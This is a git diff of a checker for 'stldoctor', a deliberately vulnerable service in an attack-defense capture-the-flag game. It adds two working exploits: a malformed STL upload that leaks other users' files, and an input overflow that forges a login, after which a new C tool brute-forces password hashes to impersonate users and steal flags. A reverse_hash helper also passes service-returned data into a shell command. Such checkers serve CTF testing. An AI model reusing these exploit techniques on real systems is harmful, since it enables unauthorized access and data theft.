aboutsummaryrefslogtreecommitdiffstats
path: root/checker/src
diff options
context:
space:
mode:
Diffstat (limited to 'checker/src')
-rw-r--r--checker/src/checker.py189
-rw-r--r--checker/src/requirements.txt7
-rw-r--r--checker/src/revhash/.gitignore2
-rw-r--r--checker/src/revhash/Makefile11
-rw-r--r--checker/src/revhash/main.c80
5 files changed, 231 insertions, 58 deletions
diff --git a/checker/src/checker.py b/checker/src/checker.py
index 9d9124a..46f91ce 100644
--- a/checker/src/checker.py
+++ b/checker/src/checker.py
@@ -1,60 +1,76 @@
#!/usr/bin/env python3
from enochecker import BaseChecker, BrokenServiceException, EnoException, run
from enochecker.utils import SimpleSocket, assert_equals, assert_in
-import random, string, struct, logging, selectors, time, socket
+import os, random, string, struct, subprocess, logging, selectors, time, socket
import numpy as np
logging.getLogger("faker").setLevel(logging.WARNING)
logging.getLogger("pwnlib").setLevel(logging.WARNING)
+logging.getLogger("_curses").setLevel(logging.CRITICAL)
from faker import Faker
+evil_file = b"""
+solid test\xff
+facet normal 0 0 1.0
+ outer loop
+ vertex 1 0 0
+ vertex 1 1 0
+ vertex 0 1 0
+ endloop
+ endfacet
+endsolid
+"""
+
def ensure_bytes(v):
if type(v) == bytes:
return v
elif type(v) == str:
- return v.encode("latin-1")
+ return v.encode()
else:
raise BrokenServiceException("Tried to pass non str/bytes to bytes arg")
class STLDoctorChecker(BaseChecker):
+ service_name = "stldoctor"
+ port = 9090
+
flag_variants = 2
noise_variants = 2
havoc_variants = 4
- service_name = "stldoctor"
- port = 9000
+ exploit_variants = 2
- debuglog = True
+ prompt = b"$ "
def login_user(self, conn, password):
self.debug("Sending command to login.")
- self.write(conn, f"login\n{password}\n")
- conn.readline_expect(b"logged in!", recvuntil=b"$", exception_message="Failed to log in")
+ conn.write(f"login\n{password}\n")
+ conn.readline_expect(b"logged in!", recvuntil=self.prompt, exception_message="Failed to log in")
def write(self, conn, buf):
- if self.debuglog:
- print("SEND: " + str(ensure_bytes(buf)))
+ self.debug("SEND: " + str(ensure_bytes(buf)))
conn.send(ensure_bytes(buf))
def fakeid(self):
fake = Faker(["en_US"])
allowed = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz0123456789-+.!"
- return "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.')
+ idstr = "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.')
+ idstr += "".join([random.choice(allowed) for i in range(5)])
+ return idstr
def havocid(self):
idlen = random.randint(10, 60)
return "".join([chr(random.randint(32, 127)) for i in range(idlen)])
def do_auth(self, conn, authstr):
- self.write(conn, f"auth {authstr}\n")
- resp = conn.recvuntil("$")
+ conn.write(f"auth {authstr}\n")
+ resp = conn.recvuntil(self.prompt)
authstr = ensure_bytes(authstr)
- assert_in(b"Success!", resp, f"Login with pass {authstr} failed!");
+ assert_in(b"Success!", resp, f"Login with pass {authstr} failed");
def check_listed(self, conn, modelid):
modelid = ensure_bytes(modelid)
- self.write(conn, "list\n")
- resp = conn.recvuntil("$")
+ conn.write("list\n")
+ resp = conn.recvuntil(self.prompt)
assert_in(modelid, resp, f"Uploaded model is missing from list command")
def genfile_ascii(self, solidname):
@@ -113,58 +129,56 @@ class STLDoctorChecker(BaseChecker):
else:
raise EnoException("Invalid file type supplied");
- def putfile(self, conn, modelname, solidname, filetype):
+ def putfile(self, conn, modelname, solidname, filetype="ascii", stlfile=None):
solidname = ensure_bytes(solidname)
modelname = ensure_bytes(modelname)
# Generate file contents
- stlfile = self.genfile(filetype = filetype, solidname = solidname)
+ if stlfile is None:
+ stlfile = self.genfile(filetype, solidname)
# Upload file
self.debug("Sending command to submit file")
- self.write(conn, "upload\n")
- self.write(conn, f"{len(stlfile)}\n")
- self.write(conn, stlfile)
- self.write(conn, modelname + b"\n")
+ conn.write("upload\n")
+ conn.write(f"{len(stlfile)}\n")
+ conn.write(stlfile)
+ conn.write(modelname + b"\n")
# Parse ID
- print(conn.recvuntil("with ID "))
+ self.debug(conn.recvuntil("with ID "))
modelid = conn.recvuntil(b"!")[:-1]
- if modelid == b"":
+ if modelid == "":
raise BrokenServiceException("Unable to upload file!")
- self.debug(f"Got ID {modelid}")
-
- conn.recvuntil(b"$")
+ self.debug(f"Uploaded file with {modelid}")
- if self.debuglog:
- print(f"PUT FILE: {modelid}")
+ conn.recvuntil(self.prompt)
return stlfile, modelid
- def getfile(self, conn, modelname):
+ def getfile(self, conn, modelname=None, download=True):
modelname = ensure_bytes(modelname)
self.debug(f"Sending command to retrieve file with name {modelname}")
- self.write(conn, "search\n")
- self.write(conn, modelname + b"\n")
- self.write(conn, "0\n") # first result
- self.write(conn, "y\n") # yes download
-
- resp = conn.recvuntil(b"Here you go.. (")
- print(resp)
- try:
- size = int(conn.recvuntil(b"B)\n")[:-3])
- except:
- print("GOT INSTEAD:", conn.recvall(timeout=0))
- raise BrokenServiceException("Returned file content size for download is not a valid integer")
-
- print("FILE SIZE:", size)
- contents = conn.recvn(size)
- if self.debuglog:
- print("GOT FILE:\n" + str(contents))
-
- conn.recvuntil("$") # clean up rest
- return resp + contents
+ conn.write("search\n")
+ conn.write(modelname + b"\n")
+ conn.write("0\n") # first result
+ conn.write("y\n" if download else "\n")
+
+ resp = conn.recvuntil("==================")
+ if download:
+ resp += conn.recvuntil(b"Here you go.. (")
+ try:
+ size = int(conn.recvuntil(b"B)\n")[:-3])
+ except:
+ raise BrokenServiceException("Returned file content size for download is not a valid integer")
+
+ self.debug(f"Download size: {size}")
+ contents = conn.recvn(size)
+ self.debug("File contents:\n" + str(contents))
+ resp += contents
+
+ conn.recvuntil(self.prompt)
+ return resp
def check_getfile(self, conn, modelname, solidname, contents, modelid = None):
resp = self.getfile(conn, modelname = modelname)
@@ -213,18 +227,19 @@ class STLDoctorChecker(BaseChecker):
self.check_listed(conn, modelid)
self.closeconn(conn)
+ def reverse_hash(self, hashstr):
+ return subprocess.check_output(os.getenv("REVHASH_PATH") + f" \"{hashstr}\"", shell=True)[:-1]
+
def openconn(self):
import pwnlib.tubes.remote
self.debug(f"Connecting to service at {self.address}:{self.port}")
conn = pwnlib.tubes.remote.remote(self.address, self.port, timeout = self.timeout)
- resp = conn.recvuntil("$") # ignore welcome
- if self.debuglog:
- print("WELCOME:",resp)
+ resp = conn.recvuntil(self.prompt)
return conn
def closeconn(self, conn):
self.debug("Sending exit command")
- self.write(conn, "exit\n")
+ conn.write("exit\n")
conn.close()
def putflag(self): # type: () -> None
@@ -312,9 +327,73 @@ class STLDoctorChecker(BaseChecker):
def exploit(self): # type: () -> None
if self.variant_id == 0:
- pass
+ name = self.fakeid()
+
+ conn = self.openconn()
+ resp,mid = self.putfile(conn, name, name, stlfile=evil_file)
+ self.debug(f"Evil file: {mid}")
+ self.closeconn(conn)
+
+ conn = self.openconn()
+ resp = self.getfile(conn, name, download=False)
+ self.debug(str(resp))
+ conn.write("search last\n")
+ filelist = [l.strip().split(b" : ") for l in conn.recvuntil("?").split(b"\n") if b" : " in l]
+
+ found = None
+ for i in range(len(filelist)):
+ self.debug(b"Retrieving file " + filelist[i][0] + b": " + filelist[i][1])
+ conn.write(filelist[i][0] + b"\ny\n")
+ fileinfo = conn.recvuntil(self.prompt)
+ self.debug("File contents:\n" + fileinfo.decode("latin1"))
+ found = self.search_flag_bytes(fileinfo)
+ if found is not None or i == len(filelist) - 1:
+ break
+ self.getfile(conn, name, download=False)
+ conn.write("search last\n")
+ conn.recvuntil("?")
+ self.closeconn(conn)
+
+ if found is None:
+ raise BrokenServiceException("Exploit for flagstore 1 failed")
+ return found
elif self.variant_id == 1:
- pass
+ conn = self.openconn()
+ conn.write(b"search \xff\xff\xff\xff\xff0000000000000000\n")
+ conn.recvuntil(self.prompt)
+ conn.write("auth\n")
+ assert_in(b"Already logged in!", conn.recvuntil(self.prompt), "Exploit did not set 'loggedin' variable via overflow")
+ conn.write("list\n")
+ resp = conn.recvuntil(self.prompt)
+ self.debug(resp)
+ users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l]
+ self.closeconn(conn)
+
+ conn = self.openconn()
+ found = None
+ for u in users:
+ self.debug(f"Logging in as user with id {u}")
+ user = self.reverse_hash(u.decode())
+ if user == b"":
+ raise BrokenServiceException("Failed to find hash preimage")
+ self.debug(f"Hash preimage: {user}")
+ conn.write(b"auth " + user + b"\n")
+ resp = conn.recvuntil(self.prompt)
+ self.debug(resp)
+ if b"Welcome back" not in resp:
+ raise BrokenServiceException("Revhash returned invalid preimage")
+ conn.write("list\n")
+ resp = conn.recvuntil(self.prompt)
+ self.debug(resp)
+ names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l])
+ found = self.search_flag_bytes(names)
+ if found is not None:
+ break
+ self.closeconn(conn)
+
+ if found is None:
+ raise BrokenServiceException("Exploit for flagstore 2 failed")
+ return found
else:
raise EnoException("Invalid variant_id provided")
diff --git a/checker/src/requirements.txt b/checker/src/requirements.txt
index f6b539c..562833e 100644
--- a/checker/src/requirements.txt
+++ b/checker/src/requirements.txt
@@ -2,9 +2,10 @@ certifi==2020.12.5
chardet==4.0.0
click==7.1.2
dnspython==1.16.0
-enochecker==0.3.2
-enochecker-cli==0.6.0
-enochecker-core==0.8.1
+# enochecker==0.4.0
+git+https://github.com/enowars/enochecker.git@storeddict-bson
+enochecker-cli==0.7.0
+enochecker-core==0.10.0
eventlet==0.30.2
Flask==1.1.2
greenlet==1.0.0
diff --git a/checker/src/revhash/.gitignore b/checker/src/revhash/.gitignore
new file mode 100644
index 0000000..82f9f1c
--- /dev/null
+++ b/checker/src/revhash/.gitignore
@@ -0,0 +1,2 @@
+vgcore*
+revhash
diff --git a/checker/src/revhash/Makefile b/checker/src/revhash/Makefile
new file mode 100644
index 0000000..b1c17df
--- /dev/null
+++ b/checker/src/revhash/Makefile
@@ -0,0 +1,11 @@
+CFLAGS = -g
+
+.PHONY: all clean
+
+all: revhash
+
+clean:
+ rm revhash
+
+revhash: main.c
+ $(CC) -o $@ $< $(CFLAGS)
diff --git a/checker/src/revhash/main.c b/checker/src/revhash/main.c
new file mode 100644
index 0000000..f872e33
--- /dev/null
+++ b/checker/src/revhash/main.c
@@ -0,0 +1,80 @@
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdint.h>
+
+#define MAXITER 256 * 100
+#define MAX(x,y) ((x) > (y) ? (x) : (y))
+#define MIN(x,y) ((x) < (y) ? (x) : (y))
+
+int
+main(int argc, const char **argv)
+{
+ const char *hashstr;
+ char c, hexbuf[3] = { 0 }, *end, *buf;
+ int i, k, v, maxlen, sum, *hash, sublen, aftersum;
+
+ if (argc < 2) {
+ fprintf(stderr, "USAGE: revhash <hash>\n");
+ return EXIT_FAILURE;
+ }
+
+ hashstr = argv[1];
+ if (strlen(hashstr) % 2 != 0)
+ goto invalid;
+
+ /* alloc */
+ maxlen = strlen(hashstr) / 2;
+ hash = calloc(maxlen, sizeof(int));
+ buf = malloc(strlen(hashstr));
+ if (!hash) return EXIT_FAILURE;
+
+ /* convert hex to int array */
+ for (i = 0; i < maxlen; i++) {
+ memcpy(hexbuf, hashstr + 2 * i, 2);
+ hash[i] = strtol(hexbuf, &end, 16);
+ if (end && *end) goto invalid;
+ }
+
+ /* bruteforce srand seed */
+ for (i = 0; i < MAXITER; i++) {
+ srand(i);
+
+ /* reverse chars for given sum */
+ for (sum = i, k = 0; k < maxlen && sum > 0; k++) {
+ buf[k] = (char) hash[k] ^ (rand() % 256);
+ if (buf[k] < 0) break;
+ sum -= buf[k];
+ }
+
+ /* repeat if too short */
+ if (k && sum == 0) {
+ sublen = k;
+ for (k = sublen; k < maxlen; k++) {
+ buf[k] = (char) hash[k] ^ (rand() % 256);
+ if (buf[k] < 0 || buf[k] != buf[k % sublen]) break;
+ }
+ }
+
+ if (k < maxlen) continue;
+
+ /* output first part we know */
+ printf("%.*s", sublen, buf);
+
+ /* add rest of chars */
+ while (sum > 0) {
+ c = MIN(127, sum);
+ printf("%c", c);
+ sum -= c;
+ }
+
+ printf("\n");
+ return EXIT_SUCCESS;
+ }
+
+ return EXIT_FAILURE;
+
+invalid:
+ fprintf(stderr, "Invalid hash string!\n");
+ return EXIT_FAILURE;
+}